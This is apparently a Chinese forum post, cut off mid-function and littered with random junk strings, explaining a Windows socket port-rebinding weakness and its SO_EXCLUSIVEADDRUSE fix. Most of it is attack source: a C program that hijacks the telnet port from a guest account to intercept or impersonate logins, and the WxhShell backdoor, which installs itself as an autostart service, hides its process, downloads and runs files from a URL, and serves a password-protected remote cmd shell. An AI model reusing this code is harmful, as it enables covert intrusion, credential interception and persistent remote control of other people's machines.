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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~O&3OL:L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 89?AcZ.D tBp dKJn## saddr.sin_family = AF_INET; d%\en&:la d 6j'[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); (khjP, ?kISAA4x bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x)5#*Q <Hig,(=`. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?3k;Yg/ QzCu$ [ 这意味着什么?意味着可以进行如下的攻击:
ze{ g;D
[XBp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >a5CW~Z] BbnY9" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~;9B\fE` <Pg4> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #'_i6 R=_
fk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 R 6ca; *&^`Uk,[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $x)C_WZj? UW88JA0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $
nx&(V IhhB^E| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uwU;glT L?23Av0W #include LSs!U
3" #include 8%@7G* #include j:0(=H!# #include ~L<q9B( @ DWORD WINAPI ClientThread(LPVOID lpParam); !:'%'@uc int main() z|x0s0q? { G n>#Mvq WORD wVersionRequested; =TE6R 0b DWORD ret; 6p=AzojoB WSADATA wsaData; p;,Cvw{.;% BOOL val; Zx@/5!_n. SOCKADDR_IN saddr; k}(C.`. SOCKADDR_IN scaddr; 6av]LY K int err; :}i
#ODJ SOCKET s; n3SCiSr SOCKET sc; %ZDo;l+<F6 int caddsize; F]:@?}8R HANDLE mt; *VmJydd DWORD tid; j,?>Q4G wVersionRequested = MAKEWORD( 2, 2 ); TO ^}z err = WSAStartup( wVersionRequested, &wsaData ); o4^rE<vJ if ( err != 0 ) { %3M1zZY printf("error!WSAStartup failed!\n"); H.3+5po return -1; ""|vhgP } 8vjaQ5
saddr.sin_family = AF_INET; D~P I_*h. fo;Ftf0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 no~hYyW2 p(g0+.?`~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mR\rK&'6 saddr.sin_port = htons(23); FJ#:RC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XT~!dq5 { Vv8e"S printf("error!socket failed!\n"); YII1Z'q return -1; R2|v[nh } yj13>"n h val = TRUE; ?`#)JG,A7 //SO_REUSEADDR选项就是可以实现端口重绑定的 #
xx{}g]% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t2Q40'
` { BG\g`NK}Z printf("error!setsockopt failed!\n"); y9kydu# q return -1; ?nZQTO7 } I<PKwT/? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -HutEbkjx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bL v_<\:m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J$JXY@mBSC #+I)<a7\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]k
&Y ) { "ph&hd}S ret=GetLastError(); >|1.Z'r/ printf("error!bind failed!\n"); wH&[Tg return -1; wcDHx#~ } Y??8P listen(s,2); BIovPvq;i while(1) mF7T=pl { 6EfGJq caddsize = sizeof(scaddr); yU`"]6(@[ //接受连接请求 g).k+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lx6C fR if(sc!=INVALID_SOCKET) !|}(tqt { A14} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hyx%FN= if(mt==NULL) &.~Xl:lq { s4h3mypw printf("Thread Creat Failed!\n"); "N\>v#>C break; }A)>sQ } =iF}41a
} [+dOgyK CloseHandle(mt); v,qK=]ty } DY<Br; closesocket(s); Huzw> WSACleanup(); Q%:#xG5AmE return 0; 8JvF4'zx } H~y 7o_tg DWORD WINAPI ClientThread(LPVOID lpParam) s"G;rcS}# { l;_zXN SOCKET ss = (SOCKET)lpParam; ^wDZg` SOCKET sc; ,-,BtfE3 unsigned char buf[4096]; :wtr{,9rZ SOCKADDR_IN saddr; N&ZIsaK,j long num; iF:`rIC DWORD val; BCN<l +u DWORD ret; QJ1_LJ4)a //如果是隐藏端口应用的话,可以在此处加一些判断
|_7nvck //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 iX
;E"ov] saddr.sin_family = AF_INET; Eo)w f=rE9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2' fg saddr.sin_port = htons(23); rWk4)+Tk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @w:6m&KL9 { NgH"jg- printf("error!socket failed!\n"); *p)1c_ return -1; p<%76H
A } U)mg]o-VE val = 100; e+J|se4L5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PW a!7n#A { "7Qc:<ww ret = GetLastError(); J<8~w; i return -1; +o&&5&HR } %*d(1?\o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DxX333vC { 57:Wh=x ret = GetLastError(); zyey5Z:7 return -1; J*@(rb#G } W
'54g$T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2x3'm { ai/VbV'| printf("error!socket connect failed!\n"); zQsu~8PX closesocket(sc); XHq8p[F closesocket(ss); GS1Vcav< return -1; }*0OLUFFJ } sA6Ku(9 while(1) bqBgq { 4E&=qC]S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jTjGbC]X //如果是嗅探内容的话,可以再此处进行内容分析和记录 TM_ MJp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -.#He num = recv(ss,buf,4096,0); |cZKj|0> if(num>0) 9H~{2Un send(sc,buf,num,0); )dFTH?Mpo else if(num==0) };m.Y>=)K break; jU
K0?S> num = recv(sc,buf,4096,0); TMsEHd if(num>0) r+X%0@K send(ss,buf,num,0); JStT"*4j else if(num==0) X8U._/'N break; i7^_y3dG } 7=jeq|&kN closesocket(ss); +jk_tPSe closesocket(sc); n[2[V*| mI return 0 ; S].=gR0: } oe1Dm O/;$0`~hY !M]_CPh] ========================================================== +bnz%/v Q<]~>cd^ 下边附上一个代码,,WXhSHELL DkO>?n:-C <&&xt
?I. ========================================================== (C;oot, >icK]W #include "stdafx.h" G~Oj}rn v&:R{ #include <stdio.h> ,~@0IKIA
Q #include <string.h> lqC
a%V #include <windows.h> c"mRMDg% #include <winsock2.h> ]stAC3 #include <winsvc.h> ]sz3:p=5 #include <urlmon.h> Vab+58s5 <fY<.X #pragma comment (lib, "Ws2_32.lib") %dXf C! #pragma comment (lib, "urlmon.lib") ~O{sOl
_<4 =d_@k[8<0 #define MAX_USER 100 // 最大客户端连接数 $ohg?B; #define BUF_SOCK 200 // sock buffer VN=S&iBa/ #define KEY_BUFF 255 // 输入 buffer WZ"g:Khw aOYRenqu #define REBOOT 0 // 重启 VK9I#
#define SHUTDOWN 1 // 关机 GnbXS> 'c#ZW|A #define DEF_PORT 5000 // 监听端口 w}Q|*!?_ &HKrmFgX{ #define REG_LEN 16 // 注册表键长度 xe)< )y #define SVC_LEN 80 // NT服务名长度 wzAp`Zs2Dm |q$br-0+ // 从dll定义API 7. y
L> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MmOGt!}9A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Xt=+aKN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 38P_wf~\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p-U'5<n Xg#g`m%(M // wxhshell配置信息 ~mUP!f struct WSCFG { |L{<=NNs:D int ws_port; // 监听端口 GXaCH))TO char ws_passstr[REG_LEN]; // 口令 B^(0>Da\ int ws_autoins; // 安装标记, 1=yes 0=no LyA=(h6 char ws_regname[REG_LEN]; // 注册表键名 l'N>9~f char ws_svcname[REG_LEN]; // 服务名 UQz8":#V char ws_svcdisp[SVC_LEN]; // 服务显示名 wL 5p0Xl char ws_svcdesc[SVC_LEN]; // 服务描述信息 _96hw8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O2{_:B>K[ int ws_downexe; // 下载执行标记, 1=yes 0=no x9PEYhL? char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !F{ 5"$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * wN+Ak q 5Am*1S^ }; $UlA_l29 x@bZ((w // default Wxhshell configuration WU1I>i struct WSCFG wscfg={DEF_PORT, F'ZLN]"{ "xuhuanlingzhe", .ao'o,|vE 1, {pU Ou8`Z "Wxhshell", c4CBpi?} "Wxhshell", ,*.C'' "WxhShell Service", -W>zON|l "Wrsky Windows CmdShell Service", k}-%NkQ
9O "Please Input Your Password: ", r8C6bFYM 1, xU1dy*- " http://www.wrsky.com/wxhshell.exe", gDnG!i+ "Wxhshell.exe" m^_)aS }; 'w.:I
TJf WPyd ^Y< // 消息定义模块 ee&QZVL> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KM(U-<<R char *msg_ws_prompt="\n\r? for help\n\r#>"; {rOz[E9vm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; f9u["e char *msg_ws_ext="\n\rExit."; "z^Ysvw&~ char *msg_ws_end="\n\rQuit."; NW=j>7 char *msg_ws_boot="\n\rReboot..."; LJZEM;;} char *msg_ws_poff="\n\rShutdown..."; hBLg;"=Em char *msg_ws_down="\n\rSave to "; eU7RO +7+
VbsFG char *msg_ws_err="\n\rErr!"; "/hs@4{u9 char *msg_ws_ok="\n\rOK!"; dQA J`9B t]FFGnBZ char ExeFile[MAX_PATH]; +u_mT$|T int nUser = 0; y)U8\ HANDLE handles[MAX_USER]; ,=>O/!s int OsIsNt; `(.ue8T =fBJQK2sk SERVICE_STATUS serviceStatus; @6.1EK0 SERVICE_STATUS_HANDLE hServiceStatusHandle; )@Xdr0 {NE;z<,*: // 函数声明 Uk ?V7?& int Install(void); oTOe(5N8a int Uninstall(void); ~;m~)D int DownloadFile(char *sURL, SOCKET wsh); W5:S+ int Boot(int flag); _?Jm.nT void HideProc(void); !0`ZK-nA6 int GetOsVer(void); NLb/Bja int Wxhshell(SOCKET wsl); .(;k]UP void TalkWithClient(void *cs); txr!3-Ne'! int CmdShell(SOCKET sock); \@OKB<ra int StartFromService(void); zy@
#R ; int StartWxhshell(LPSTR lpCmdLine); & A9psc(,& _F^|n}Qbj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6@o_MtI VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jb $PlOQ OAw/ // 数据结构和表定义 $Ry
NM2YI SERVICE_TABLE_ENTRY DispatchTable[] = /[nt=#+
{ J+?xfg {wscfg.ws_svcname, NTServiceMain}, \ox:/-[c\< {NULL, NULL} C& Nd|c }; a((5_8SX5 2T?t[;- // 自我安装 u[ 2R>= int Install(void) #_7}O0?c3 { {yVi/*;f^ char svExeFile[MAX_PATH]; D (qT$# HKEY key; jy@}$g{ strcpy(svExeFile,ExeFile); pSq\3Hp]Q `-ENKr] // 如果是win9x系统,修改注册表设为自启动 lu-VBVwR if(!OsIsNt) { 4KybN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f<|8NQ2y. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); drtQEc>qT RegCloseKey(key); !;CY
@= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -oF4mi8S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); shn`>=0.& RegCloseKey(key); FG#E?G return 0; 5+%BZ } zCvR/ } 'U}i<^,c } &B3\;|\ else { [+GQ3Z\ T_AZCl4d // 如果是NT以上系统,安装为系统服务 FIU(2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ci3{k" if (schSCManager!=0) 9M01} { 9zO;sg;3 SC_HANDLE schService = CreateService kV6>O C&^ ( {AIZ, schSCManager, Bfw>2 wscfg.ws_svcname, P!bm$h*3? wscfg.ws_svcdisp, }aX).u SERVICE_ALL_ACCESS, yJb;V# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j?z(fs-
SERVICE_AUTO_START, Y,E:? SERVICE_ERROR_NORMAL, AS;{O>}54 svExeFile, `m'2RNSc+# NULL, ?Cu#( NULL, TqbKH08i/ NULL, 4\sS NULL, d G:=tf&1R NULL >b*Pd
*f ); |Ca$>]? if (schService!=0) {8I93] { 2?-}(F;Z CloseServiceHandle(schService); ol`]6"Sc CloseServiceHandle(schSCManager); ^Gs!" Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kf5921(P strcat(svExeFile,wscfg.ws_svcname); ;ejC:3yO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZTS*E,U% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ti' GSL RegCloseKey(key); :l9C7o return 0; 4dfe5\ } QG9 2^ } ?# G_& CloseServiceHandle(schSCManager); RI*Q-n{ } /[EI0~P } 9pjk3a _TX.}167;- return 1; |y'q`cY } s
6hj[^O MF E%q // 自我卸载 A H#e>kU^ int Uninstall(void) };zF& { * 5P/&*c| HKEY key; s_1]&0< ^uZ%d if(!OsIsNt) { o)-Qd3d%S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )UJ]IB-Q|1 RegDeleteValue(key,wscfg.ws_regname); ^jCkM29eu RegCloseKey(key); 8:M~m]Z+| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _bMs~%?~/ RegDeleteValue(key,wscfg.ws_regname); UJ6WrO5#kB RegCloseKey(key); NWNgh/9? return 0; T@Q.m.iV4 } <,cD EN7 } t<: XY } @[JQCQ#r else { has5"Bb MCYrsgg} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V@Po} if (schSCManager!=0) O>k. sO
< { +p43d:[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'x6Mqv1W if (schService!=0) e@Mm4&f[p { e94csTh= if(DeleteService(schService)!=0) { f'%}{l: ss CloseServiceHandle(schService); H3b@;&` & CloseServiceHandle(schSCManager); a>Q7Qn return 0; m*I5 \ } j4NS5 CloseServiceHandle(schService); DsFrA] } 7qh_URt@ CloseServiceHandle(schSCManager); a!>AhOk. } ^R2:Z&Iv% } '{Ywb@Bc 4z$eT return 1; b1s1;8 Q } 8`*`4m e
j`lY // 从指定url下载文件 &t6L8[#yd int DownloadFile(char *sURL, SOCKET wsh) ^,`yt^^A { I=lA7} HRESULT hr; *J%+zH char seps[]= "/"; thq(tK7 char *token; %_/_klxnO char *file; ?EtK/6dJZt char myURL[MAX_PATH]; 4lz9z>J.V char myFILE[MAX_PATH]; 2 K`
hH g4~{#P^i strcpy(myURL,sURL); :/1WJG:! token=strtok(myURL,seps); IXC: Q
while(token!=NULL) 7qnw.7p { Xt$?Kx_, file=token; p_mP' token=strtok(NULL,seps); `|]juc } M\T6cN@m W;hI[9 GetCurrentDirectory(MAX_PATH,myFILE); r?[Zf2& strcat(myFILE, "\\"); #%E~IA% strcat(myFILE, file); ~>qcV=F^d, send(wsh,myFILE,strlen(myFILE),0); =MoPOib\n send(wsh,"...",3,0); 8# 9.a]AX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t4 aa5@r if(hr==S_OK) L%=u&9DmU return 0; ;H}?8L else _\u'~wWl return 1; :@n e29,} rVZkG,Q } ZgzrA&6 *!B,|]wq= // 系统电源模块 ^IC|3sr int Boot(int flag) GV%ibqOpQj { <.:B .k HANDLE hToken; 0]5QX/I TOKEN_PRIVILEGES tkp; Z}XA(;ck jgukW7H if(OsIsNt) { 1k;X*r# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J/)Q{*`_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %"{SGp tkp.PrivilegeCount = 1;
1vQ*Br tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?_ p3^kl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C/lpSe if(flag==REBOOT) { H!7/U_AH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R{Cj]:Ky return 0; V<(cW'zA/ } M`S >Q2{ else { 6&h,eQ! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QDLtilf : return 0; RD,`D! } 5J1,Usm } y/
vE else { -k!UcMWP if(flag==REBOOT) { 3M/kfy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i]YH"t8GY return 0; ^|OxlfS } j].XVn, else { VYik#n>|Gp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F DXAe-|Q return 0; 0(HUy`]> } 0riTav8 } _sx]`3/86 $Z$BF return 1; Br;1kQ%e C } yA=#Ji rr9N(AoxW // win9x进程隐藏模块 bm`x void HideProc(void) X8y&|uH { 7oK!!Qd^w ,D;d#fJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +>Y2luR1 if ( hKernel != NULL ) yP6^&'I+ { 7'CdDB6&. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E%2]c?N5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~xkcQ{ FreeLibrary(hKernel); -=@d2LY } _KLKa/3 8+^q9rLii return; XeJn,= } K#tT \ "! m6U#^ // 获取操作系统版本 $CRu?WUS]' int GetOsVer(void) l*":WzRGvF { g-Vxl|hR OSVERSIONINFO winfo; d3<7t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sA#}0>`3S GetVersionEx(&winfo); 2old})CLJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :)p\a1I[* return 1; 4*P#3 B'@V else 2V:`': return 0; \0).
ODA( } fl9`Mgu 3fM8W>
*7 // 客户端句柄模块 YZMSiDv[e int Wxhshell(SOCKET wsl) xG/B$DLn { `zwXfY,% SOCKET wsh; r roI struct sockaddr_in client; e
^2n58 DWORD myID; =+DfIO #p*D.We while(nUser<MAX_USER) DS%~'S { n
9PYZxy int nSize=sizeof(client); j
4!$[h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x8
_f/2& if(wsh==INVALID_SOCKET) return 1; L
4V,y> ose(#n4 0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nm Y_ )s if(handles[nUser]==0) nl5A{ s closesocket(wsh); #oW"3L{, else ~G,_4}#"pM nUser++; w;W# 'pE } ]l>LU2 sx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %PM&`c98z7 "ngULpb{R return 0; JlR$"GU } ~@ =(#tO. xsu9DzPf&{ // 关闭 socket :y'EIf void CloseIt(SOCKET wsh) EMQGP<[ { \Kr8k`f closesocket(wsh); 2*Zk^h= nUser--; G%iTL"6 ExitThread(0); )Fon;/p } ,4:=n$e 0 N,W ?} // 客户端请求句柄 'HKDGQl` void TalkWithClient(void *cs) u}3D'h { Znr@-=xZO* 5C0![$W> SOCKET wsh=(SOCKET)cs; iR?}^|] char pwd[SVC_LEN]; !6!Gx: char cmd[KEY_BUFF]; Co>e<be%S char chr[1]; M8nfbc^ int i,j; VKV
:U60 (qglD while (nUser < MAX_USER) { bd]9kRq1K UodBK7y if(wscfg.ws_passstr) { !7Eodq-0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xii>?sA5Z" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y+3+iT@i //ZeroMemory(pwd,KEY_BUFF); E75/EQ5p]p i=0; 3ew4QPT' while(i<SVC_LEN) { wU6sU]P m<H{@ZgN( // 设置超时 n,U?]mr fd_set FdRead; ZDg(D" struct timeval TimeOut; IjGPiC FD_ZERO(&FdRead); |Dt_lQp# FD_SET(wsh,&FdRead); (\0
<|pW TimeOut.tv_sec=8; Nv=78O1 TimeOut.tv_usec=0; &1(- 8z* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X NgcBSD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i.k7qclL` )fHr]#v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1U%
/~ pwd =chr[0]; {{jV!8wK if(chr[0]==0xd || chr[0]==0xa) { ^M{,{bG pwd=0; JIhEkY break; y];-D>jk }
C];P yQS i++; wBcoh~
(y } q3AqU?f SE'!j]6jI // 如果是非法用户,关闭 socket Z\?2"4H if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l+[:Cni } D"J',YN$ g5
T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0z'GN#mT5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K>dB{w#gS k,[*h-{8 while(1) { >))CXGE t;BUZE_!0c ZeroMemory(cmd,KEY_BUFF); }x?F53I) h%:rJ_#Zl // 自动支持客户端 telnet标准 4;fuS_(X j=0; LRVcf while(j<KEY_BUFF) { l% T4:p4e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O&1qL) cmd[j]=chr[0]; _bGkJ= if(chr[0]==0xa || chr[0]==0xd) { <
Hkq cmd[j]=0; 12a`,~ break; yL*]_ } s'h;a5Q1'Q j++; =hkYQq`Q } '`3#FCg @@)2 12 // 下载文件 1>"-!ADm if(strstr(cmd,"http://")) { %8,$ILN send(wsh,msg_ws_down,strlen(msg_ws_down),0); g:>'+(H ; if(DownloadFile(cmd,wsh)) T9C_=0(hn send(wsh,msg_ws_err,strlen(msg_ws_err),0); `PC9t)%.pV else F}5d>nw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Q^~O*cw } V&w2pp0 else { 7~ PL8 2 %dL96 switch(cmd[0]) { &}r"Z?f) 51SmoFbMz // 帮助 X*QS/\ case '?': { P(hGkY=( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X_]rtG break; BH">#&j[ } }5-w,m{8/ // 安装 nN\H'{Wzd case 'i': { {%f{U"m if(Install()) X` zWw_i send(wsh,msg_ws_err,strlen(msg_ws_err),0); gv''A" else unLhI0XW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TIWR[r1! break; (k?HT'3) } G3~`]qf
// 卸载 [ QiG0D_'= case 'r': { H"#ITL if(Uninstall()) f#\YX
tR,k send(wsh,msg_ws_err,strlen(msg_ws_err),0); &EfQ%r}C else l~6K}g? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %GHGd'KO& break; T#))_aC } wY8:j // 显示 wxhshell 所在路径 {_QdB;VwH case 'p': { >2'"}np* char svExeFile[MAX_PATH]; w G %W{T$ strcpy(svExeFile,"\n\r"); ;V
xRaj? strcat(svExeFile,ExeFile); /|IPBU 5 send(wsh,svExeFile,strlen(svExeFile),0);
%2?+:R5. break; Z!)~?<gcq: } ilA45@ // 重启 0NXH449I= case 'b': { mQj=-\p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l4OrlS/ 5 if(Boot(REBOOT))
<kak9
6A send(wsh,msg_ws_err,strlen(msg_ws_err),0); FACw;/rW else { Y@Uk P+{f= closesocket(wsh); j3gDGw; ExitThread(0); UEU/505 } =dmr,WE break; T5(S2^)o } iwotEl0*{ // 关机 ,`@pi@<"# case 'd': { 7?$?Yu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j/FLEsU!R if(Boot(SHUTDOWN)) d$zJLgkA send(wsh,msg_ws_err,strlen(msg_ws_err),0); eTiTS*`u else { [3Pp
NCY closesocket(wsh); [nTI\17iA ExitThread(0); GJ+ ^t } K3T.l#d'L break; 6l#x1o; } ,NSf // 获取shell S<tw5!tJ case 's': { M+)a6g e CmdShell(wsh); 1(
pHC closesocket(wsh); Wg']a/m ExitThread(0); J ^'El^F break; Zxa.x?:?n } t`Kbm''d[ // 退出 6b2UPI7m~ case 'x': { szI7I$Qb send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M/zO|-j& CloseIt(wsh); ,_2-Op break; T5S4,.o9W } Yj%]|E- // 离开 a.Ho>(V/4 case 'q': { ^*K=wE}AG send(wsh,msg_ws_end,strlen(msg_ws_end),0); r|Ui1f5 closesocket(wsh); (}: s[cs WSACleanup(); P@{x@9kI exit(1); UUah5$Iy break; i0vm00oT } D(!^$9e9b } p4`1^}f&Ie } ;]{ee?Q^ld B,%Vy!o // 提示信息 dY*q[N/pO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "mlQ z4D)5 } @60D@Y } 2w 2Bc+#o d#k(>+%=Q return; t]/eCsR } Nk|cU;?+ j(;^XO Y# // shell模块句柄 ,,H "?VO int CmdShell(SOCKET sock) :|S zD4Ag { A#{63_H STARTUPINFO si; bsIG1&n'T ZeroMemory(&si,sizeof(si)); IhnBp 6p9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $#Pxf si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~>2uRjvkwB PROCESS_INFORMATION ProcessInfo; k3~9;Z char cmdline[]="cmd"; ]v+<K63@T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E5k)~P`| return 0; 5xQ-f } -%nD'qy,. +vBi7#& // 自身启动模式 Y
G+|r int StartFromService(void) Q;M\fBQO}& { ?,} u6tH typedef struct $3-vW{< { +>$]leqa DWORD ExitStatus; zLI0RI.Pe DWORD PebBaseAddress; }z3j7I DWORD AffinityMask; g'0CYY DWORD BasePriority; ^D yw(>9 ULONG UniqueProcessId; { e|qQ4~h ULONG InheritedFromUniqueProcessId; |VfEp } PROCESS_BASIC_INFORMATION; 'h>uR| |V9[aa*c PROCNTQSIP NtQueryInformationProcess; d*(aue= 1b,a3w(:1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e8m,q~%#/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7T~M`$h 04a
^jjc HANDLE hProcess; aSL`yuXu PROCESS_BASIC_INFORMATION pbi; 1+l 8%G=hB rIyH/=; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;b~ S/ if(NULL == hInst ) return 0; L@}PW)# 7)66e g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0-2|(9
